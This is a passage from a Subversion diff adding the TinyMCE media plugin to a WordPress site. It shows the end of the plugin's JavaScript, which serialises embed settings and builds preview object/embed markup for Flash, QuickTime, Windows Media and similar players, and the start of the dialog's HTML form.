+			s += getBool('shockwave', 'swliveconnect');
+			s += getStr('shockwave', 'swvolume');
+			s += getStr('shockwave', 'swstretchstyle');
+			s += getStr('shockwave', 'swstretchhalign');
+			s += getStr('shockwave', 'swstretchvalign');
+		break;
+
+		case "wmp":
+			s += getBool('wmp', 'autostart', true);
+			s += getBool('wmp', 'enabled', false);
+			s += getBool('wmp', 'enablecontextmenu', true);
+			s += getBool('wmp', 'fullscreen', false);
+			s += getBool('wmp', 'invokeurls', true);
+			s += getBool('wmp', 'mute', false);
+			s += getBool('wmp', 'stretchtofit', false);
+			s += getBool('wmp', 'windowlessvideo', false);
+			s += getStr('wmp', 'balance');
+			s += getStr('wmp', 'baseurl');
+			s += getStr('wmp', 'captioningid');
+			s += getStr('wmp', 'currentmarker');
+			s += getStr('wmp', 'currentposition');
+			s += getStr('wmp', 'defaultframe');
+			s += getStr('wmp', 'playcount');
+			s += getStr('wmp', 'rate');
+			s += getStr('wmp', 'uimode');
+			s += getStr('wmp', 'volume');
+		break;
+
+		case "rmp":
+			s += getBool('rmp', 'autostart', false);
+			s += getBool('rmp', 'loop', false);
+			s += getBool('rmp', 'autogotourl', true);
+			s += getBool('rmp', 'center', false);
+			s += getBool('rmp', 'imagestatus', true);
+			s += getBool('rmp', 'maintainaspect', false);
+			s += getBool('rmp', 'nojava', false);
+			s += getBool('rmp', 'prefetch', false);
+			s += getBool('rmp', 'shuffle', false);
+			s += getStr('rmp', 'console');
+			s += getStr('rmp', 'controls');
+			s += getStr('rmp', 'numloop');
+			s += getStr('rmp', 'scriptcallbacks');
+		break;
+	}
+
+	s += getStr(null, 'id');
+	s += getStr(null, 'name');
+	s += getStr(null, 'src');
+	s += getStr(null, 'align');
+	s += getStr(null, 'bgcolor');
+	s += getInt(null, 'vspace');
+	s += getInt(null, 'hspace');
+	s += getStr(null, 'width');
+	s += getStr(null, 'height');
+
+	s = s.length > 0 ? s.substring(0, s.length - 1) : s;
+
+	return s;
+}
+
+function setBool(pl, p, n) {
+	if (typeof(pl[n]) == "undefined")
+		return;
+
+	document.forms[0].elements[p + "_" + n].checked = pl[n] != 'false';
+}
+
+function setStr(pl, p, n) {
+	var f = document.forms[0], e = f.elements[(p != null ? p + "_" : '') + n];
+
+	if (typeof(pl[n]) == "undefined")
+		return;
+
+	if (e.type == "text")
+		e.value = pl[n];
+	else
+		selectByValue(f, (p != null ? p + "_" : '') + n, pl[n]);
+}
+
+function getBool(p, n, d, tv, fv) {
+	var v = document.forms[0].elements[p + "_" + n].checked;
+
+	tv = typeof(tv) == 'undefined' ? 'true' : "'" + jsEncode(tv) + "'";
+	fv = typeof(fv) == 'undefined' ? 'false' : "'" + jsEncode(fv) + "'";
+
+	return (v == d) ? '' : n + (v ? ':' + tv + ',' : ":\'" + fv + "\',");
+}
+
+function getStr(p, n, d) {
+	var e = document.forms[0].elements[(p != null ? p + "_" : "") + n];
+	var v = e.type == "text" ? e.value : e.options[e.selectedIndex].value;
+
+	if (n == 'src')
+		v = tinyMCEPopup.editor.convertURL(v, 'src', null);
+
+	return ((n == d || v == '') ? '' : n + ":'" + jsEncode(v) + "',");
+}
+
+function getInt(p, n, d) {
+	var e = document.forms[0].elements[(p != null ? p + "_" : "") + n];
+	var v = e.type == "text" ? e.value : e.options[e.selectedIndex].value;
+
+	return ((n == d || v == '') ? '' : n + ":" + v.replace(/[^0-9]+/g, '') + ",");
+}
+
+function jsEncode(s) {
+	s = s.replace(new RegExp('\\\\', 'g'), '\\\\');
+	s = s.replace(new RegExp('"', 'g'), '\\"');
+	s = s.replace(new RegExp("'", 'g'), "\\'");
+
+	return s;
+}
+
+function generatePreview(c) {
+	var f = document.forms[0], p = document.getElementById('prev'), h = '', cls, pl, n, type, codebase, wp, hp, nw, nh;
+
+	p.innerHTML = '<!-- x --->';
+
+	nw = parseInt(f.width.value);
+	nh = parseInt(f.height.value);
+
+	if (f.width.value != "" && f.height.value != "") {
+		if (f.constrain.checked) {
+			if (c == 'width' && oldWidth != 0) {
+				wp = nw / oldWidth;
+				nh = Math.round(wp * nh);
+				f.height.value = nh;
+			} else if (c == 'height' && oldHeight != 0) {
+				hp = nh / oldHeight;
+				nw = Math.round(hp * nw);
+				f.width.value = nw;
+			}
+		}
+	}
+
+	if (f.width.value != "")
+		oldWidth = nw;
+
+	if (f.height.value != "")
+		oldHeight = nh;
+
+	// After constrain
+	pl = serializeParameters();
+
+	switch (f.media_type.options[f.media_type.selectedIndex].value) {
+		case "flash":
+			cls = 'clsid:D27CDB6E-AE6D-11cf-96B8-444553540000';
+			codebase = 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0';
+			type = 'application/x-shockwave-flash';
+			break;
+
+		case "shockwave":
+			cls = 'clsid:166B1BCA-3F9C-11CF-8075-444553540000';
+			codebase = 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0';
+			type = 'application/x-director';
+			break;
+
+		case "qt":
+			cls = 'clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B';
+			codebase = 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0';
+			type = 'video/quicktime';
+			break;
+
+		case "wmp":
+			cls = ed.getParam('media_wmp6_compatible') ? 'clsid:05589FA1-C356-11CE-BF01-00AA0055595A' : 'clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6';
+			codebase = 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701';
+			type = 'application/x-mplayer2';
+			break;
+
+		case "rmp":
+			cls = 'clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA';
+			codebase = 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701';
+			type = 'audio/x-pn-realaudio-plugin';
+			break;
+	}
+
+	if (pl == '') {
+		p.innerHTML = '';
+		return;
+	}
+
+	pl = tinyMCEPopup.editor.plugins.media._parse(pl);
+
+	if (!pl.src) {
+		p.innerHTML = '';
+		return;
+	}
+
+	pl.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(pl.src);
+	pl.width = !pl.width ? 100 : pl.width;
+	pl.height = !pl.height ? 100 : pl.height;
+	pl.id = !pl.id ? 'obj' : pl.id;
+	pl.name = !pl.name ? 'eobj' : pl.name;
+	pl.align = !pl.align ? '' : pl.align;
+
+	// Avoid annoying warning about insecure items
+	if (!tinymce.isIE || document.location.protocol != 'https:') {
+		h += '<object classid="' + cls + '" codebase="' + codebase + '" width="' + pl.width + '" height="' + pl.height + '" id="' + pl.id + '" name="' + pl.name + '" align="' + pl.align + '">';
+
+		for (n in pl) {
+			h += '<param name="' + n + '" value="' + pl[n] + '">';
+
+			// Add extra url parameter if it's an absolute URL
+			if (n == 'src' && pl[n].indexOf('://') != -1)
+				h += '<param name="url" value="' + pl[n] + '" />';
+		}
+	}
+
+	h += '<embed type="' + type + '" ';
+
+	for (n in pl)
+		h += n + '="' + pl[n] + '" ';
+
+	h += '></embed>';
+
+	// Avoid annoying warning about insecure items
+	if (!tinymce.isIE || document.location.protocol != 'https:')
+		h += '</object>';
+
+	p.innerHTML = "<!-- x --->" + h;
+}
+
+tinyMCEPopup.onInit.add(init);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/media.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/media.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/media/media.htm	(revision 44)
@@ -0,0 +1,822 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>{#media_dlg.title}</title>
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/media.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/mctabs.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/validate.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/form_utils.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/editable_selects.js?ver=3241-1141"></script>
+	<link href="css/media.css?ver=3241-1141" rel="stylesheet" type="text/css" />
+</head>
+<body style="display: none">
+    <form onsubmit="insertMedia();return false;" action="#">
+		<div class="tabs">
+			<ul>
+				<li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');generatePreview();" onmousedown="return false;">{#media_dlg.general}</a></span></li>
+				<li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#media_dlg.advanced}</a></span></li>
+			</ul>
+		</div>
+
+		<div class="panel_wrapper">
+			<div id="general_panel" class="panel current">
+				<fieldset>
+					<legend>{#media_dlg.general}</legend>
+
+					<table border="0" cellpadding="4" cellspacing="0">
+							<tr>
+								<td><label for="media_type">{#media_dlg.type}</label></td>
+								<td>
+									<select id="media_type" name="media_type" onchange="changedType(this.value);generatePreview();">
+										<option value="flash">Flash</option>
+										<!-- <option value="flv">Flash video (FLV)</option> -->
+										<option value="qt">Quicktime</option>
+										<option value="shockwave">Shockwave</option>
+										<option value="wmp">Windows Media</option>
+										<option value="rmp">Real Media</option>
+									</select>
+								</td>
+							</tr>
+							<tr>
+							<td><label for="src">{#media_dlg.file}</label></td>
+							  <td>
+									<table border="0" cellspacing="0" cellpadding="0">
+									  <tr>
+										<td><input id="src" name="src" type="text" value="" class="mceFocus" onchange="switchType(this.value);generatePreview();" /></td>
+										<td id="filebrowsercontainer">&nbsp;</td>
+									  </tr>
+									</table>
+								</td>
+							</tr>
+							<tr id="linklistrow">
+								<td><label for="linklist">{#media_dlg.list}</label></td>
+								<td id="linklistcontainer"><select id="linklist"><option value=""></option></select></td>
+							</tr>
+							<tr>
+								<td><label for="width">{#media_dlg.size}</label></td>
+								<td>
+									<table border="0" cellpadding="0" cellspacing="0">
+										<tr>
+											<td><input type="text" id="width" name="width" value="" class="size" onchange="generatePreview('width');" /> x <input type="text" id="height" name="height" value="" class="size"  onchange="generatePreview('height');" /></td>
+											<td>&nbsp;&nbsp;<input id="constrain" type="checkbox" name="constrain" class="checkbox" /></td>
+											<td><label id="constrainlabel" for="constrain">{#media_dlg.constrain_proportions}</label></td>
+										</tr>
+									</table>
+								</td>
+							</tr>
+					</table>
+				</fieldset>
+
+				<fieldset>
+					<legend>{#media_dlg.preview}</legend>
+					<div id="prev"></div>
+				</fieldset>
+			</div>
+
+			<div id="advanced_panel" class="panel">
+				<fieldset>
+					<legend>{#media_dlg.advanced}</legend>
+
+					<table border="0" cellpadding="4" cellspacing="0" width="100%">
+						<tr>
+							<td><label for="id">{#media_dlg.id}</label></td>
+							<td><input type="text" id="id" name="id" onchange="generatePreview();" /></td>
+							<td><label for="name">{#media_dlg.name}</label></td>
+							<td><input type="text" id="name" name="name" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="align">{#media_dlg.align}</label></td>
+							<td>
+								<select id="align" name="align" onchange="generatePreview();">
+									<option value="">{#not_set}</option> 
+									<option value="top">{#media_dlg.align_top}</option>
+									<option value="right">{#media_dlg.align_right}</option>
+									<option value="bottom">{#media_dlg.align_bottom}</option>
+									<option value="left">{#media_dlg.align_left}</option>
+								</select>
+							</td>
+
+							<td><label for="bgcolor">{#media_dlg.bgcolor}</label></td>
+							<td>
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input id="bgcolor" name="bgcolor" type="text" value="" size="9" onchange="updateColor('bgcolor_pick','bgcolor');generatePreview();" /></td>
+										<td id="bgcolor_pickcontainer">&nbsp;</td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td><label for="vspace">{#media_dlg.vspace}</label></td>
+							<td><input type="text" id="vspace" name="vspace" class="number" onchange="generatePreview();" /></td>
+							<td><label for="hspace">{#media_dlg.hspace}</label></td>
+							<td><input type="text" id="hspace" name="hspace" class="number" onchange="generatePreview();" /></td>
+						</tr>
+					</table>
+				</fieldset>
+
+				<fieldset id="flash_options">
+					<legend>{#media_dlg.flash_options}</legend>
+
+					<table border="0" cellpadding="4" cellspacing="0">
+						<tr>
+							<td><label for="flash_quality">{#media_dlg.quality}</label></td>
+							<td>
+								<select id="flash_quality" name="flash_quality" onchange="generatePreview();">
+									<option value="">{#not_set}</option> 
+									<option value="high">high</option>
+									<option value="low">low</option>
+									<option value="autolow">autolow</option>
+									<option value="autohigh">autohigh</option>
+									<option value="best">best</option>
+								</select>
+							</td>
+
+							<td><label for="flash_scale">{#media_dlg.scale}</label></td>
+							<td>
+								<select id="flash_scale" name="flash_scale" onchange="generatePreview();">
+									<option value="">{#not_set}</option> 
+									<option value="showall">showall</option>
+									<option value="noborder">noborder</option>
+									<option value="exactfit">exactfit</option>
+									<option value="noscale">noscale</option>
+								</select>
+							</td>
+						</tr>
+
+						<tr>
+							<td><label for="flash_wmode">{#media_dlg.wmode}</label></td>
+							<td>
+								<select id="flash_wmode" name="flash_wmode" onchange="generatePreview();">
+									<option value="">{#not_set}</option> 
+									<option value="window">window</option>
+									<option value="opaque">opaque</option>
+									<option value="transparent">transparent</option>
+								</select>
+							</td>
+
+							<td><label for="flash_salign">{#media_dlg.salign}</label></td>
+							<td>
+								<select id="flash_salign" name="flash_salign" onchange="generatePreview();">
+									<option value="">{#not_set}</option> 
+									<option value="l">{#media_dlg.align_left}</option>
+									<option value="t">{#media_dlg.align_top}</option>
+									<option value="r">{#media_dlg.align_right}</option>
+									<option value="b">{#media_dlg.align_bottom}</option>
+									<option value="tl">{#media_dlg.align_top_left}</option>
+									<option value="tr">{#media_dlg.align_top_right}</option>
+									<option value="bl">{#media_dlg.align_bottom_left}</option>
+									<option value="br">{#media_dlg.align_bottom_right}</option>
+								</select>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flash_play" name="flash_play" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="flash_play">{#media_dlg.play}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flash_loop" name="flash_loop" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="flash_loop">{#media_dlg.loop}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flash_menu" name="flash_menu" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="flash_menu">{#media_dlg.menu}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flash_swliveconnect" name="flash_swliveconnect" onchange="generatePreview();" /></td>
+										<td><label for="flash_swliveconnect">{#media_dlg.liveconnect}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+					</table>
+
+					<table>
+						<tr>
+							<td><label for="flash_base">{#media_dlg.base}</label></td>
+							<td><input type="text" id="flash_base" name="flash_base" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="flash_flashvars">{#media_dlg.flashvars}</label></td>
+							<td><input type="text" id="flash_flashvars" name="flash_flashvars" onchange="generatePreview();" /></td>
+						</tr>
+					</table>
+				</fieldset>
+
+				<fieldset id="flv_options">
+					<legend>{#media_dlg.flv_options}</legend>
+
+					<table border="0" cellpadding="4" cellspacing="0">
+						<tr>
+							<td><label for="flv_scalemode">{#media_dlg.flv_scalemode}</label></td>
+							<td>
+								<select id="flv_scalemode" name="flv_scalemode" onchange="generatePreview();">
+									<option value="">{#not_set}</option> 
+									<option value="none">none</option>
+									<option value="double">double</option>
+									<option value="full">full</option>
+								</select>
+							</td>
+
+							<td><label for="flv_buffer">{#media_dlg.flv_buffer}</label></td>
+							<td><input type="text" id="flv_buffer" name="flv_buffer" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="flv_startimage">{#media_dlg.flv_startimage}</label></td>
+							<td><input type="text" id="flv_startimage" name="flv_startimage" onchange="generatePreview();" /></td>
+
+							<td><label for="flv_starttime">{#media_dlg.flv_starttime}</label></td>
+							<td><input type="text" id="flv_starttime" name="flv_starttime" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="flv_defaultvolume">{#media_dlg.flv_defaultvolume}</label></td>
+							<td><input type="text" id="flv_defaultvolume" name="flv_defaultvolume" onchange="generatePreview();" /></td>
+
+
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flv_hiddengui" name="flv_hiddengui" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="flv_hiddengui">{#media_dlg.flv_hiddengui}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flv_autostart" name="flv_autostart" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="flv_autostart">{#media_dlg.flv_autostart}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flv_loop" name="flv_loop" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="flv_loop">{#media_dlg.flv_loop}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flv_showscalemodes" name="flv_showscalemodes" onchange="generatePreview();" /></td>
+										<td><label for="flv_showscalemodes">{#media_dlg.flv_showscalemodes}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flv_smoothvideo" name="flash_flv_flv_smoothvideosmoothvideo" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="flv_smoothvideo">{#media_dlg.flv_smoothvideo}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="flv_jscallback" name="flv_jscallback" onchange="generatePreview();" /></td>
+										<td><label for="flv_jscallback">{#media_dlg.flv_jscallback}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+					</table>
+				</fieldset>
+
+				<fieldset id="qt_options">
+					<legend>{#media_dlg.qt_options}</legend>
+
+					<table border="0" cellpadding="4" cellspacing="0">
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_loop" name="qt_loop" onchange="generatePreview();" /></td>
+										<td><label for="qt_loop">{#media_dlg.loop}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_autoplay" name="qt_autoplay" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="qt_autoplay">{#media_dlg.play}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_cache" name="qt_cache" onchange="generatePreview();" /></td>
+										<td><label for="qt_cache">{#media_dlg.cache}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_controller" name="qt_controller" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="qt_controller">{#media_dlg.controller}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_correction" name="qt_correction" onchange="generatePreview();" /></td>
+										<td><label for="qt_correction">{#media_dlg.correction}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_enablejavascript" name="qt_enablejavascript" onchange="generatePreview();" /></td>
+										<td><label for="qt_enablejavascript">{#media_dlg.enablejavascript}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_kioskmode" name="qt_kioskmode" onchange="generatePreview();" /></td>
+										<td><label for="qt_kioskmode">{#media_dlg.kioskmode}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_autohref" name="qt_autohref" onchange="generatePreview();" /></td>
+										<td><label for="qt_autohref">{#media_dlg.autohref}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_playeveryframe" name="qt_playeveryframe" onchange="generatePreview();" /></td>
+										<td><label for="qt_playeveryframe">{#media_dlg.playeveryframe}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="qt_targetcache" name="qt_targetcache" onchange="generatePreview();" /></td>
+										<td><label for="qt_targetcache">{#media_dlg.targetcache}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td><label for="qt_scale">{#media_dlg.scale}</label></td>
+							<td><select id="qt_scale" name="qt_scale" class="mceEditableSelect" onchange="generatePreview();">
+									<option value="">{#not_set}</option> 
+									<option value="tofit">tofit</option>
+									<option value="aspect">aspect</option>
+								</select>
+							</td>
+
+							<td colspan="2">&nbsp;</td>
+						</tr>
+
+						<tr>
+							<td><label for="qt_starttime">{#media_dlg.starttime}</label></td>
+							<td><input type="text" id="qt_starttime" name="qt_starttime" onchange="generatePreview();" /></td>
+
+							<td><label for="qt_endtime">{#media_dlg.endtime}</label></td>
+							<td><input type="text" id="qt_endtime" name="qt_endtime" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="qt_target">{#media_dlg.target}</label></td>
+							<td><input type="text" id="qt_target" name="qt_target" onchange="generatePreview();" /></td>
+
+							<td><label for="qt_href">{#media_dlg.href}</label></td>
+							<td><input type="text" id="qt_href" name="qt_href" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="qt_qtsrcchokespeed">{#media_dlg.qtsrcchokespeed}</label></td>
+							<td><input type="text" id="qt_qtsrcchokespeed" name="qt_qtsrcchokespeed" onchange="generatePreview();" /></td>
+
+							<td><label for="qt_volume">{#media_dlg.volume}</label></td>
+							<td><input type="text" id="qt_volume" name="qt_volume" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="qt_qtsrc">{#media_dlg.qtsrc}</label></td>
+							<td colspan="4">
+							<table border="0" cellspacing="0" cellpadding="0">
+								  <tr>
+									<td><input type="text" id="qt_qtsrc" name="qt_qtsrc" onchange="generatePreview();" /></td>
+									<td id="qtsrcfilebrowsercontainer">&nbsp;</td>
+								  </tr>
+							</table>
+							</td>
+						</tr>
+					</table>
+				</fieldset>
+
+				<fieldset id="wmp_options">
+					<legend>{#media_dlg.wmp_options}</legend>
+
+					<table border="0" cellpadding="4" cellspacing="0">
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="wmp_autostart" name="wmp_autostart" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="wmp_autostart">{#media_dlg.autostart}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="wmp_enabled" name="wmp_enabled" onchange="generatePreview();" /></td>
+										<td><label for="wmp_enabled">{#media_dlg.enabled}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="wmp_enablecontextmenu" name="wmp_enablecontextmenu" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="wmp_enablecontextmenu">{#media_dlg.menu}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="wmp_fullscreen" name="wmp_fullscreen" onchange="generatePreview();" /></td>
+										<td><label for="wmp_fullscreen">{#media_dlg.fullscreen}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="wmp_invokeurls" name="wmp_invokeurls" checked="checked" onchange="generatePreview();" /></td>
+										<td><label for="wmp_invokeurls">{#media_dlg.invokeurls}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="wmp_mute" name="wmp_mute" onchange="generatePreview();" /></td>
+										<td><label for="wmp_mute">{#media_dlg.mute}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="wmp_stretchtofit" name="wmp_stretchtofit" onchange="generatePreview();" /></td>
+										<td><label for="wmp_stretchtofit">{#media_dlg.stretchtofit}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="wmp_windowlessvideo" name="wmp_windowlessvideo" onchange="generatePreview();" /></td>
+										<td><label for="wmp_windowlessvideo">{#media_dlg.windowlessvideo}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td><label for="wmp_balance">{#media_dlg.balance}</label></td>
+							<td><input type="text" id="wmp_balance" name="wmp_balance" onchange="generatePreview();" /></td>
+
+							<td><label for="wmp_baseurl">{#media_dlg.baseurl}</label></td>
+							<td><input type="text" id="wmp_baseurl" name="wmp_baseurl" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="wmp_captioningid">{#media_dlg.captioningid}</label></td>
+							<td><input type="text" id="wmp_captioningid" name="wmp_captioningid" onchange="generatePreview();" /></td>
+
+							<td><label for="wmp_currentmarker">{#media_dlg.currentmarker}</label></td>
+							<td><input type="text" id="wmp_currentmarker" name="wmp_currentmarker" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="wmp_currentposition">{#media_dlg.currentposition}</label></td>
+							<td><input type="text" id="wmp_currentposition" name="wmp_currentposition" onchange="generatePreview();" /></td>
+
+							<td><label for="wmp_defaultframe">{#media_dlg.defaultframe}</label></td>
+							<td><input type="text" id="wmp_defaultframe" name="wmp_defaultframe" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="wmp_playcount">{#media_dlg.playcount}</label></td>
+							<td><input type="text" id="wmp_playcount" name="wmp_playcount" onchange="generatePreview();" /></td>
+
+							<td><label for="wmp_rate">{#media_dlg.rate}</label></td>
+							<td><input type="text" id="wmp_rate" name="wmp_rate" onchange="generatePreview();" /></td>
+						</tr>
+
+						<tr>
+							<td><label for="wmp_uimode">{#media_dlg.uimode}</label></td>
+							<td><input type="text" id="wmp_uimode" name="wmp_uimode" onchange="generatePreview();" /></td>
+
+							<td><label for="wmp_volume">{#media_dlg.volume}</label></td>
+							<td><input type="text" id="wmp_volume" name="wmp_volume" onchange="generatePreview();" /></td>
+						</tr>
+
+					</table>
+				</fieldset>
+
+				<fieldset id="rmp_options">
+					<legend>{#media_dlg.rmp_options}</legend>
+
+					<table border="0" cellpadding="4" cellspacing="0">
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="rmp_autostart" name="rmp_autostart" onchange="generatePreview();" /></td>
+										<td><label for="rmp_autostart">{#media_dlg.autostart}</label></td>
+									</tr>
+								</table>
+							</td>
+
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="rmp_loop" name="rmp_loop" onchange="generatePreview();" /></td>
+										<td><label for="rmp_loop">{#media_dlg.loop}</label></td>
+									</tr>
+								</table>
+							</td>
+						</tr>
+
+						<tr>
+							<td colspan="2">
+								<table border="0" cellpadding="0" cellspacing="0">
+									<tr>
+										<td><input type="checkbox" class="checkbox" id="rmp_autogotourl" name="rmp_autogotourl" checked="checked" onchange="generatePreview();" /></td>
